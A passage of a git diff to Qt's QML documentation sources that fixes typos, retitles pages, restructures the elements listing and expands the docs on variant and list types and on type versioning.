manage components and enhance your interface, and storing persistent application data.
An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
@@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl
There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
-
*/
diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc
index 941acfe..0655fdb 100644
--- a/doc/src/declarative/anchor-layout.qdoc
+++ b/doc/src/declarative/anchor-layout.qdoc
@@ -28,7 +28,7 @@
/*!
\page qml-anchor-layout.html
\target anchor-layout
-\title Anchor-based Layout in QML
+\title Anchor-Based Layout in QML
\section1 Overview
diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc
index 99f1bed..8503f4e 100644
--- a/doc/src/declarative/basictypes.qdoc
+++ b/doc/src/declarative/basictypes.qdoc
@@ -174,13 +174,10 @@
transparent blue to a quad of \c "#800000FF".
Example:
- \qml
- Rectangle { color: "steelblue" }
- Rectangle { color: "transparent" }
- Rectangle { color: "#FF0000" }
- Rectangle { color: "#800000FF" }
- Rectangle { color: "#00000000" } // ARGB fully transparent
- \endqml
+ \div{float-right}
+ \inlineimage declarative-colors.png
+ \enddiv
+ \snippet doc/src/snippets/declarative/colors.qml colors
Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()},
\l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions:
@@ -361,9 +358,11 @@
Actions are used like this:
\qml
- MouseArea { onClicked: myaction.trigger() }
- State { name: "enabled"; when: myaction.enabled == true }
- Text { text: someaction.text }
+ Item {
+ MouseArea { onClicked: myaction.trigger() }
+ State { name: "enabled"; when: myaction.enabled == true }
+ Text { text: someaction.text }
+ }
\endqml
\sa {QML Basic Types}
@@ -400,14 +399,11 @@
\c child1, \c child2 and \c child3 will be added to the children list
in the order in which they appear.
- List \l {Adding Properties}{properties} can be created as a
- \c variant type, or as a \c list<Type> type, where \c Type is the
- type of the object in the list:
+ List \l {Adding Properties}{properties} can be declared as \c list<Type>
+ type, where \c Type is the type of the object in the list:
\qml
Item {
- property variant values: [ 10, 20, 'abc', 'xyz' ]
-
property list<Rectangle> rects: [
Rectangle { width: 100; height: 100},
Rectangle { width: 200; height: 200}
@@ -415,136 +411,124 @@
}
\endqml
- A \c variant list can contain values of any of the \l {QML Basic Types}{basic QML types}
- such as numbers, strings, etc. while a \c list<Type> list can only contain values
- that match (or are derived from) the specified \c Type.
+ A list property can only contain values that match (or are derived from) the
+ specified \c Type.
- A list property can be cleared by setting it to an empty list:
+ While the \c rects property can be reassigned to a different list value (including
+ an empty list), its individual values cannot be modified. See the \l variant type
+ documentation for details.
- \qml
- Item {
- children: []
- }
- \endqml
+ \sa {QML Basic Types}
+*/
- A list property cannot be modified in any other way. Items cannot be dynamically added to
- or removed from the list through JavaScript operations; any \c push() operations on the
- list only modify a \e copy of the list and not the actual list. (These current limitations
- are due to restrictions on \l {Property Binding} where lists are involved.)
+/*!
+ \qmlbasictype variant
+ \ingroup qmlbasictypes
- You can, however, modify a copy of the list and then reassign the property to the modified
- value. Other options are to create an array object from within a \c .js JavaScript file,
- or implement a custom list element in C++. Here is a QML element that modifies the list in a
- JavaScript file:
+ \brief A variant type is a generic property type.
- \table
- \row
- \o
- \qml
- // QML
- import "script.js" as Script
+ A variant is a generic property type. A variant type property can hold
+ any of the \l {QML Basic Types}{basic type} values:
+ \qml
Item {
- Component.onCompleted: {
- Script.addItem('abc')
- console.log("Added:", Script.getList()[0])
- }
+ property variant aNumber: 100
+ property variant aString: "Hello world!"
+ property variant aBool: false
}
\endqml
- \o
- \code
- // script.js
- var myArray = new Array()
-
- function getList() {
- return myArray
- }
-
- function addItem(item) {
- myArray.push(item)
- }
- \endcode
- \endtable
+ The \c variant type can also hold:
- However, note that a JavaScript list should not be used as a QML \c property value,
- as the property is not updated when the list changes.
+ \list
+ \o An array of \l {QML Basic Types}{basic type} values
+ \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values
+ \endlist
- \sa {QML Basic Types}
-*/
+ For example, below is an \c items array and an \c attributes map. Their
+ contents can be examined using JavaScript \c for loops. Individual array
+ values are accessible by index, and individual map values are accessible
+ by key:
+ \qml
+ Item {
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
-/*!
- \qmlbasictype variant
- \ingroup qmlbasictypes
+ Component.onCompleted: {
+ for (var i=0; i<items.length; i++)
+ console.log(items[i])
- \brief A variant type is a generic property type.
+ for (var prop in attributes)
+ console.log(prop, "=", attributes[prop])
+ }
+ }
+ \endqml
- A variant is a generic property type. A variant type property can hold any of the
- \l {QML Basic Types}{basic type} values:
+ While this is a convenient way to store array and map-type values, you
+ must be aware that the \c items and \c attributes properties above are \e not
+ QML objects (and certainly not JavaScript object either) and the key-value
+ pairs in \c attributes are \e not QML properties. Rather, the \c items
+ property holds an array of values, and \c attributes holds a set of key-value
+ pairs. Since they are stored as a set of values, instead of as an object,
+ their contents \e cannot be modified individually:
\qml
Item {
- property variant aNumber : 100
- property variant aString : "Hello world!"
- property variant aList : [ 1, 2, "buckle my shoe" ]
+ property variant items: [1, 2, 3, "four", "five"]
+ property variant attributes: { 'color': 'red', 'width': 100 }
+
+ Component.onCompleted: {
+ items[0] = 10
+ console.log(items[0]) // This will still be '1'!
+ attributes.color = 'blue'
+ console.log(attributes.color) // This will still be 'red'!
+ }
}
\endqml
- The \c variant type can also hold a \e copy of a JavaScript object. For example, the
- \c animal property below defines a JavaScript object defined with JSON notation. The
- object's properties and values can be examined using the standard JavaScript syntax,
- as shown in the \c Component.onCompleted handler.
+ Additionally, since \c items and \c attributes are not QML objects, changing
+ their individual values do not trigger property change notifications. If
+ the above example had \c onNumberChanged or \c onAnimalChanged signal
+ handlers, they would not have been called. If, however, the \c items or
+ \c attributes properties themselves were reassigned to different values, then
+ such handlers would be called.
+
+ One way to "update" the contents of an array or map is to copy the property
+ to a JavaScript object, modify the copy as desired, and then reassign the
+ property to the updated copy. Note, however, that this is not efficient.
+ In the example below, which reassigns the \c attributes property, the \e entire
+ set of key-value pairs must be serialized and deserialized every time it is
+ copied between a JavaScript object and a QML property:
\qml
Item {
- property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
+ property variant attributes: { ''color': 'red', 'width': 100 }
Component.onCompleted: {
- for (var attribute in animal)
- console.log(attribute, "=", animal[attribute])
+ // Change the value of attributes.color to 'blue':
+ var temp = attributes // copy all values to 'temp'
+ temp.color = 'blue'
+ attributes = temp // copy all values back to 'attributes'
}
}
\endqml
- It must be noted that the \c animal property holds a \e copy of the defined object, and
- not the object itself. (This is true even if the property refers to an object defined in
- some JavaScript file; the property will hold a copy of the object, and not the actual
- object.) The property essentially holds a copy of the contents within the object. This
- has several implications:
+ Since this operation is inefficient, if a list or map should be modifiable,
+ it is better to use alternative approaches. For example, you could implement
+ a custom C++ list element, or write to a JavaScript object defined from
+ within a JavaScript file.
- \list
- \o Changes to any of the property's values (for example, the \c animal.type value
- above) only modify the \e copy of the object, not the object itself. You can, however,
- modify a copy of the object and then reassign the property to the modified value.
- \o Because the property only holds a copy of the object, \l{Property Binding}{bindings} to
- any of the property's individual values are not updated until the whole property is
- reassigned to a new value. For example:
-
- \qml
- Item {
- property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 }
-
- Text { text: "Animal species: " + animal.species }
-
- Component.onCompleted: {
- animal.species = 'kookaburra' // this has no effect on the displayed text
-
- var newObj = animal
- newObj.species = 'kookaburra'
- animal = newObj // this will update the displayed text
- }
- }
- \endqml
- \o Since the object values are copied, it does not hold any reference to the original
- object, and extra data such as the object's JavaScript prototype chain is lost in the
- process.
- \endlist
+ JavaScript programmers should also note that when a JavaScript object is
+ copied to an array or map property, the \e contents of the object (that is,
+ its key-value properties) are copied, rather than the object itself. The
+ property does not hold a reference to the original JavaScript object, and
+ extra data such as the object's JavaScript prototype chain is also lost in
+ the process.
\sa {QML Basic Types}
*/
-
/*!
\qmlbasictype vector3d
\ingroup qmlbasictypes
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc
index 491e499..aa9ed18 100644
--- a/doc/src/declarative/declarativeui.qdoc
+++ b/doc/src/declarative/declarativeui.qdoc
@@ -91,7 +91,7 @@ Module.
\list
\o \l{QML Documents}
\o \l{Property Binding}
-\o \l{Anchor-based Layout in QML}
+\o \l{Anchor-Based Layout in QML}
\o \l{Writing QML Components: Properties, Methods and Signals}
\o \l{QML Scope}
\o \l{QML Modules}
diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc
index 073e0c4..316fe6b 100644
--- a/doc/src/declarative/dynamicobjects.qdoc
+++ b/doc/src/declarative/dynamicobjects.qdoc
@@ -62,10 +62,16 @@ To dynamically load a component defined in a QML file, call the
This function takes the URL of the QML file as its only argument and creates
a \l Component object from this URL.
-Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
-the component. This function takes exactly one argument, which is the parent for the new item. Since graphical items will
-not appear on the scene without a parent, it is recommended that you set the parent this way. However, if you wish to set
-the parent later you can safely pass \c null to this function.
+Once you have a \l Component, you can call its \l {Component::createObject()}{createObject()} method to create an instance of
+the component. This function can take one or two arguments:
+\list
+\o The first is the parent for the new item. Since graphical items will not appear on the scene without a parent, it is
+ recommended that you set the parent this way. However, if you wish to set the parent later you can safely pass \c null to
+ this function.
+\o The second is optional and is a script which assigns values to the item's properties during creation. This avoids warnings
+ when certain properties have been bound to before they have been set by the code. Additionally, there are small performance
+ benefits when instantiating objects in this way.
+\endlist
Here is an example. First there is \c Sprite.qml, which defines a simple QML component:
@@ -184,7 +190,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t
\qml
Item {
- SelfDestroyingRect { ... }
+ SelfDestroyingRect {
+ // ...
+ }
}
\endqml
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index 40d67e7..466b940 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -29,118 +29,161 @@
\page qdeclarativeelements.html
\target elements
\title QML Elements
- \brief A dictionary of standard QML elements.
-
- This is a dictionary of all standard QML elements made available
- in the Qt Declarative module.
-
- To see the QML elements listed by functional area, see the
- \l{Groups Of Related QML Elements} page.
-
- \table
- \header \o {2,1} \bold {Basic Visual Items}
- \row \o \l {Item} \o Basic item element inherited by all visual items in QML
- \row \o \l {Rectangle} \o Basic visual rectangle element
- \row \o \l {Gradient} \o Defines a gradient between two or more colors
- \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient}
- \row \o \l {Image} \o Allows the use of bitmaps to a scene
- \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border
- \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames
- \row \o \l {Text} \o Allows the use of formatted text in a scene
- \row \o \l {TextInput} \o Displays an editable line of text
- \row \o \l {IntValidator} \o Validator for integer values
- \row \o \l {DoubleValidator} \o Validator for non-integer values
- \row \o \l {RegExpValidator} \o Validator for string regular expressions
- \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text
-
- \header \o {2,1} \bold {Basic Interaction Items}
- \row \o \l {MouseArea} \o Handles mouse interactions
- \row \o \l {FocusScope} \o For keyboard focus handling
- \row \o \l {Flickable} \o Provides a surface that can be "flicked"
- \row \o \l {Flipable} \o Provides a surface that produces flipping effects
- \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling
-
- \header \o {2,1} \bold {States}
- \row \o \l {State} \o Defines sets of configurations of objects and properties
- \row \o \l {PropertyChanges} \o Describes property changes within a state
- \row \o \l {StateGroup} \o Contains a set of states and state transitions
- \row \o \l {StateChangeScript} \o Allows script binding in a state
- \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change
- \row \o \l {AnchorChanges} \o Change the anchors of an item in a state
-
- \header \o {2,1} \bold {Animation and Transitions}
- \row \o \l {Behavior} \o Specifies a default animation for property changes
- \row \o \l {SequentialAnimation} \o Runs animations sequentially
- \row \o \l {ParallelAnimation} \o Runs animations in parallel
- \row \o \l {PropertyAnimation} \o Animates property changes
- \row \o \l {NumberAnimation} \o Animates properties of type qreal
- \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d
- \row \o \l {ColorAnimation} \o Animates color changes
- \row \o \l {RotationAnimation} \o Animates rotations
- \row \o \l {ParentAnimation} \o Animates parent changes
- \row \o \l {AnchorAnimation} \o Animates anchor changes
- \row \o \l {PauseAnimation} \o Pauses an animation
- \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value
- \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion
- \row \o \l {PropertyAction} \o Sets immediate property changes during animation
- \row \o \l {ScriptAction} \o Runs scripts during an animation
- \row \o \l {Transition} \o Animates transitions during state changes
-
- \header \o {2,1} \bold {Working with Data}
- \row \o \l {Binding} \o Binds any value to any property
- \row \o \l {ListModel} \o Defines a list of data
- \row \o \l {ListElement} \o Defines a data item in a \l {ListModel}
- \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate
- \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate
- \row \o \l {Package} \o Collection that enables sharing of items within different views
- \row \o \l {XmlListModel} \o Specifies a model using XPath expressions
- \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel}
-
- \header \o {2,1} \bold {Views}
- \row \o \l {ListView} \o Provides a list visualization of a model
- \row \o \l {GridView} \o Provides a grid visualization of a model
- \row \o \l {PathView} \o Visualizes a model's contents along a path
- \row \o \l {Path} \o Defines a path used by \l {PathView}
- \row \o \l {PathLine} \o Defines a line in \l {Path}
- \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path}
- \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path}
- \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path}
- \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path}
- \row \o \l {WebView} \o Allows the addition of web content to a canvas
-
- \header \o {2,1} \bold {Positioners}
- \row \o \l {Column} \o Arranges its children vertically
- \row \o \l {Row} \o Arranges its children horizontally
- \row \o \l {Grid} \o Positions its children in a grid
- \row \o \l {Flow} \o Positions its children with wrapping support
-
- \header \o {2,1} \bold {Utility}
- \row \o \l {Connections} \o Explicitly connects signals and signal handlers
- \row \o \l {Component} \o Encapsulate QML items as a component
- \row \o \l {Timer} \o Provides timed triggers
- \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property
- \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt.
- \row \o \l {WorkerScript} \o Enables the use of threads in QML
- \row \o \l {Loader} \o Controls the loading of items or components
- \row \o \l {Repeater} \o Uses a model to create multiples of components
- \row \o \l {SystemPalette} \o Provides access to the Qt palettes
- \row \o \l {FontLoader} \o Loads fonts by name or URL
- \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts
-
- \header \o {2,1} \bold {Transforms}
- \row \o \l {Scale} \o Assigns item scaling behaviors
- \row \o \l {Rotation} \o Assigns item rotation behaviors
- \row \o \l {Translate} \o Assigns item translation behaviors
-
- \header \o {2,1} \bold {Effects}
- \row \o \l {Particles} (experimental) \o Generates and animates particles
- \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles}
- \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles}
- \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles}
- \endtable
-
-
-
+ \brief A listing of standard QML elements.
+
+These are the functionally grouped lists of QML elements.
+
+Elements are declared with the their name and two curly braces. Elements may
+be nested in elements, thereby creating a parent-child relationship between the
+two elements.
+
+To see the QML elements listed by functional area, see the
+\l{Groups Of Related QML Elements} page.
+
+\section1 Basic QML Elements
+\list
+\o \l {Item} - Basic item element inherited by QML elements
+\o \l {Component} - Encapsulates QML elements during importing
+\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property
+\endlist
+
+\section1 Graphics
+\list
+\o \l {Rectangle} - A rectangle element
+\o \l {Image} - For incorporating bitmaps into a scene
+\o \l {BorderImage} - Allows the use of images as borders
+\o \l {AnimatedImage} - For playing animations stored in a series of frames
+\o \l {Gradient} - For defining a color gradient
+\o \l {GradientStop} - Used to define a color within a \l {Gradient}
+\o \l {SystemPalette} - Provides access to the Qt palettes
+\endlist
+
+\section1 Text Handling
+\list
+\o \l {Text} - For inserting formatted text into a scene
+\o \l {TextInput} - Captures user key input
+\o \l {TextEdit} - Displays multiple lines of editable formatted text
+\o \l {IntValidator} - Validates values as integers
+\o \l {DoubleValidator} - Validates real values
+\o \l {RegExpValidator} - Validator for string regular expressions
+\o \l {FontLoader} - Loads fonts by name or URL
+\endlist
+
+\section1 Mouse and Interaction Area
+\list
+\o \l {MouseArea} - Sets up an area for mouse interaction
+\o \l {Keys} - Provides components with attached properties to handle key input.
+\o \l {FocusScope} - Element that mediate keyboard focus changes
+\o \l {Flickable} - Provides a surface that can be "flicked"
+\o \l {Flipable} - Provides a surface that produces "flipping" effects
+\o \l {GestureArea} - Enables simple gesture handling
+\endlist
+
+\section1 Positioners and Repeater
+\list
+\o \l {Column} - Arranges its children vertically
+\o \l {Row} - Arranges its children horizontally
+\o \l {Grid} - Positions its children in a grid
+\o \l {Flow} - Positions its children with wrapping support
+\o \l {Repeater} - Uses a model to create multiple components
+\endlist
+
+\section1 Transformations
+\list
+\o \l {Scale} - Assigns item scaling behaviors
+\o \l {Rotation} - Assigns item rotation behaviors
+\o \l {Translate} - Assigns item translation behaviors
+\endlist
+
+\section1 States
+\list
+\o \l {State} - Defines sets of configurations of objects and properties
+\o \l {PropertyChanges} - Describes property changes within a state
+\o \l {StateGroup} - Contains a set of states and state transitions
+\o \l {StateChangeScript} - Allows script binding in a state
+\o \l {ParentChange} - Re-parent an Item in a state change
+\o \l {AnchorChanges} - Change the anchors of an item in a state
+\endlist
+
+\section1 Animation and Transitions
+\list
+\o \l {Transition} - Animates transitions during state changes
+\o \l {SequentialAnimation} - Runs animations sequentially
+\o \l {ParallelAnimation} - Runs animations in parallel
+\o \l {Behavior} - Specifies a default animation for property changes
+\o \l {PropertyAction} - Sets immediate property changes during animation
+\o \l {PauseAnimation} - Introduces a pause in an animation
+\o \l {SmoothedAnimation} - Allows a property to smoothly track a value
+\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion
+\o \l {ScriptAction} - Runs scripts during an animation
+\endlist
+
+Elements that animate properties based on data types
+\list
+\o \l {PropertyAnimation} - Animates property changes
+\o \l {NumberAnimation} - Animates properties of type qreal
+\o \l {Vector3dAnimation} - Animates properties of type QVector3d
+\o \l {ColorAnimation} - Animates color changes
+\o \l {RotationAnimation} - Animates rotations
+\o \l {ParentAnimation} - Animates parent changes
+\o \l {AnchorAnimation} - Animates anchor changes
+\endlist
+
+\section1 Models and Data Handling
+\list
+\o \l {ListModel} - Defines a list of data
+\o \l {ListElement} - Defines a data item in a \l {ListModel}
+\o \l {VisualItemModel} - Contains items that already defines its own visual delegate
+\o \l {VisualDataModel} - Encapsulates a model and a delegate
+\o \l {XmlListModel} - Specifies a model using XPath expressions
+\o \l {XmlRole} - Specifies a role for an \l {XmlListModel}
+\o \l {Binding} - Binds any value to any property
+\o \l {Package} - Collection that enables sharing of items within different views
+\endlist
+
+\section1 Views
+\list
+\o \l {ListView} - Provides a list visualization of a model
+\o \l {GridView} - Provides a grid visualization of a model
+\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information.
+\endlist
+
+\section1 Path Definition
+\list
+\o \l {Path} - Defines a path used by \l {PathView}
+\o \l {PathLine} - Defines a line in \l {Path}
+\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path}
+\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path}
+\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path}
+\o \l {PathPercent} - Modifies the item distribution along a \l {Path}
+\endlist
+
+\section1 Utility
+\list
+\o \l {Connections} - Explicitly connects signals and signal handlers
+\o \l {Timer} - Provides timed triggers
+\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt.
+\o \l {WorkerScript} - Enables the use of threads in QML
+\o \l {Loader} - Controls the loading of items or components
+\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts
+\endlist
+
+\section1 Graphical Effects
+\list
+\o \l {Particles} - Generates and animates particles
+\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles}
+\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles}
+\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles}
+\endlist
+
+\section1 Add-On Elements
+These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings
+should first be obtained and installed.
+\list
+\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents
+\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins}
+\endlist
+
*/
@@ -148,7 +191,7 @@
\group qml-groups
\title Groups Of Related QML Elements
- \brief If you know what kind of QML element you want (Basic Visual,
+ \brief If you know what kind of QML element you want (Basic Visual,
Interaction, Animation, etc), look here.
This is a list of functional groups of QML elements.
diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc
index 7b8cb5e..27c8f58 100644
--- a/doc/src/declarative/example-slideswitch.qdoc
+++ b/doc/src/declarative/example-slideswitch.qdoc
@@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state.
In this example:
\qml
-Switch { id: mySwitch; on: true }
-Text { text: "The switch is on"; visible: mySwitch.on == true }
+Item {
+ Switch {
+ id: mySwitch
+ on: true
+ }
+ Text {
+ text: "The switch is on"
+ visible: mySwitch.on == true
+ }
+}
\endqml
the text will only be visible when the switch is on.
diff --git a/doc/src/declarative/examples.qdoc b/doc/src/declarative/examples.qdoc
index e03557b..be2d0c7 100644
--- a/doc/src/declarative/examples.qdoc
+++ b/doc/src/declarative/examples.qdoc
@@ -136,7 +136,8 @@ The examples can be found in Qt's \c examples/declarative directory.
\section2 Positioners
\list
-\o \l{declarative/positioners}{Example}
+\o \l{declarative/positioners/addandremove}{Adding and Removing Items}
+\o \l{declarative/positioners/layoutdirection}{Layout Direction}
\endlist
\section2 Key Interaction
diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc
index 8705c5b..a287533 100644
--- a/doc/src/declarative/extending.qdoc
+++ b/doc/src/declarative/extending.qdoc
@@ -112,6 +112,75 @@ Person {
\l {Extending QML - Adding Types Example} shows the complete code used to create
the \c Person type.
+\section1 QML Type Versioning
+
+In C++ adding a new method or property cannot break old applications.
+In QML, however, new methods and properties can change what a name previously
+resolved to to within a scope chain.
+
+For example, consider these two QML files
+
+\code
+// main.qml
+import QtQuick 1.0
+Item {
+ id: root
+ MyComponent {}
+}
+\endcode
+
+\code
+// MyComponent.qml
+import MyModule 1.0
+CppItem {
+ value: root.x
+}
+\endcode
+
+where CppItem maps to the C++ class QCppItem.
+
+If the author of QCppItem adds a "root" property to QCppItem in a new version of the module,
+it will break the above program as \c root.x now resolves to a different value.
+The solution is to allow the author of QCppItem to state that the new \c root property is
+only available from a particular version of QCppItem onwards. This permits new properties
+and features to be added to existing elements without breaking existing programs.
+
+QML enables this by allowing the properties, methods and signals of a class to be tagged with
+a particular \e revision, so that they are only accessible if the relevant module version
+is imported. In this case, the author can tag the \c root property as being added in
+\e {revision 1} of the class, and register that revision in version 1.1 of the module.
+
+The REVISION tag is used to mark the \c root property as added in revision 1 of the class.
+Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a
+revision using the \c Q_REVISION(x) macro:
+
+\code
+class CppItem : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1)
+
+signals:
+ Q_REVISION(1) void rootChanged();
+};
+\endcode
+
+To register the new class revision to a particular version the following function is used:
+
+\code
+template<typename T, int metaObjectRevision>
+int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+\endcode
+
+To register \c CppItem version 1 for \c {MyModule 1.1}:
+
+\code
+qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem")
+\endcode
+
+\c root is only available when MyModule 1.1 is imported.
+
+
\section1 Object and List Property Types
\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0
@@ -733,12 +802,14 @@ It is optional for a property to have a default value. The default value is a co
behaviorally identical to doing it in two steps, like this:
\qml
-// Use default value
-property int myProperty: 10
+Item {
+ // Use default value
+ property int myProperty: 10
-// Longer, but behaviorally identical
-property int myProperty
-myProperty: 10
+ // Longer, but behaviorally identical
+ property int myProperty
+ myProperty: 10
+}
\endqml
@@ -769,9 +840,11 @@ QML object types can also be used as property types. This includes
defined like this:
\qml
-property Item itemProperty
-property QtObject objectProperty
-property MyCustomType customProperty
+Item {
+ property Item itemProperty
+ property QtObject objectProperty
+ property MyCustomType customProperty
+}
\endqml
Such object-type properties default to an \c undefined value.
@@ -784,7 +857,9 @@ see the \l {variant}{variant type documentation} for details.
list:
\qml
-property list<Item> listOfItems
+Item {
+ property list<Item> listOfItems
+}
\endqml
Note that list properties cannot be modified like ordinary JavaScript
@@ -825,7 +900,7 @@ If the \l{Item::children}{children} property was not the default property for
\qml
Item {
children: [
- Rectangle {}
+ Rectangle {},
Rectangle {}
]
}
@@ -1075,7 +1150,7 @@ code removes the connection created in \c application.qml above:
\qml
// application.qml
Item {
- ...
+ // ...
function removeSignal() {
button.clicked.disconnect(item.myMethod)
@@ -1100,5 +1175,4 @@ MouseArea {
Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will
automatically be emitted as well.
-
*/
diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
index 8671b48..85a3a25 100644
--- a/doc/src/declarative/globalobject.qdoc
+++ b/doc/src/declarative/globalobject.qdoc
@@ -48,7 +48,7 @@ data from over a network.
The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
as many popular web browsers with following exceptions:
\list
-\i QML's XMLHttpRequest does not enforce the same origin policty.
+\i QML's XMLHttpRequest does not enforce the same origin policy.
\i QML's XMLHttpRequest does not support \e synchronous requests.
\endlist
@@ -77,7 +77,7 @@ browser. The following objects and properties are supported by the QML implemen
\o lastChild
\o previousSibling
\o nextSibling
-\o attribtes
+\o attributes
\endlist
\o
@@ -141,8 +141,9 @@ using the Offline Storage API.
\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
Returns the database identified by \e identifier. If the database does not already exist, it
-is created with the properties \e description and \e estimated_size and the function \e callback
-is called with the database as a parameter.
+is created, and the function \e callback is called with the database as a parameter. \e description
+and \e estimated_size are written to the INI file (described below), but are otherwise currently
+unused.
May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
@@ -153,7 +154,7 @@ When a database is first created, an INI file is also created specifying its cha
\row \o Name \o The name of the database passed to \c openDatabase()
\row \o Version \o The version of the database passed to \c openDatabase()
\row \o Description \o The description of the database passed to \c openDatabase()
-\row \o EstimatedSize \o The estimated size of the database passed to \c openDatabase()
+\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase()
\row \o Driver \o Currently "QSQLITE"
\endtable
diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
index d221205..65877f9 100644
--- a/doc/src/declarative/javascriptblocks.qdoc
+++ b/doc/src/declarative/javascriptblocks.qdoc
@@ -200,37 +200,12 @@ Likewise, the \l {Component::onDestruction} attached property is triggered on
component destruction.
-\section1 Property Assignment vs Property Binding
+\section1 JavaScript and Property Binding
-When working with both QML and JavaScript, it is important to differentiate between
-QML \l {Property Binding} and JavaScript value assignment. In QML, a property
-binding is created using the \e {property: value} syntax:
+Property bindings can be created in JavaScript by assigning the property with a \c function
+that returns the required value.
-\code
-Rectangle {
- width: otherItem.width
-}
-\endcode
-
-The \c width of the above \l Rectangle is updated whenever \c otherItem.width changes. On the other
-hand, take the following JavaScript code snippet, that runs when the \l Rectangle is created:
-
-\code
-Rectangle {
-
- Component.onCompleted: {
- width = otherItem.width;
- }
-}
-\endcode
-
-The \c width of this \l Rectangle is \e assigned the value of \c otherItem.width using the
-\e {property = value} syntax in JavaScript. Unlike the QML \e {property: value} syntax, this
-does not invoke QML property binding; the \c rectangle.width property is set to the value
-of \c otherItem.width at the time of the assignment and will not be updated if that value
-changes.
-
-See \l {Property Binding} for more information.
+See \l {Binding Properties from JavaScript} for details.
\section1 Receiving QML Signals in JavaScript
@@ -315,10 +290,13 @@ This restriction exists as the QML environment is not yet fully established.
To run code after the environment setup has completed, refer to
\l {Running JavaScript at Startup}.
-\o The value of \c this is currently undefined in QML
+\o The value of \c this is currently undefined in QML in the majority of contexts
+
+The \c this keyword is supported when \l {Binding Properties from JavaScript}
+{binding properties from JavaScript}. In all other situations, the value of
+\c this is undefined in QML.
-The value of \c this is undefined in QML. To refer to any element, provide
-an \c id. For example:
+To refer to any element, provide an \c id. For example:
\qml
Item {
diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc
index 1dca28c..f1ebd00 100644
--- a/doc/src/declarative/modules.qdoc
+++ b/doc/src/declarative/modules.qdoc
@@ -44,7 +44,7 @@ example, an \c import statement is required to use:
\list
\o A component defined in another QML file that is not in the same directory
